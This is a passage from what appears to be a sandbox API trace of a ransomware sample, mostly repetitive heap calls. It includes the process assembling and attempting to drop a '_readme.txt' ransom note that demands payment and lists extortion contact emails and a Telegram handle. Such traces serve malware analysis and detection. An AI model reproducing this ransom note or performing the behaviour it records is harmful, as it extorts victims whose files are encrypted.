dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.734] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.734] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.734] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.734] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.734] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.734] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.734] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.734] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.734] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.734] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.734] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.734] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.734] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.735] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.735] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.735] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.735] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.735] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.735] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.735] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.735] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.735] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.735] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.735] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.735] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.735] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.735] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.735] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.735] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.735] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.736] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.736] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.736] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.736] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.736] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.736] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0119.736] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.736] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.736] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.736] PathFindFileNameW (pszPath="") returned="" [0119.736] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.736] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.736] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.737] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.737] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.737] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.737] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.737] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0119.737] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 0 [0119.737] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.737] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.737] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_readme.txt" (normalized: "c:\\boot\\zh-tw\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.737] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.737] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.737] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.737] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.737] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.738] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.738] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.738] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.738] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.738] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.738] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.738] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.738] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.738] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.738] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.738] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.738] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.738] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.738] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.738] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.738] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.738] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.738] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.738] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.738] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.738] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.738] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.738] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.738] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.738] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.738] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.738] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.738] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.738] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.739] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.739] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.739] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.739] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.739] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.739] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.739] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.739] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.739] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.739] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.739] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.739] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.739] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.739] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.739] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.739] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.739] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.739] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.739] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.739] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.739] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.739] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.739] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.739] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.739] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.740] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.740] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 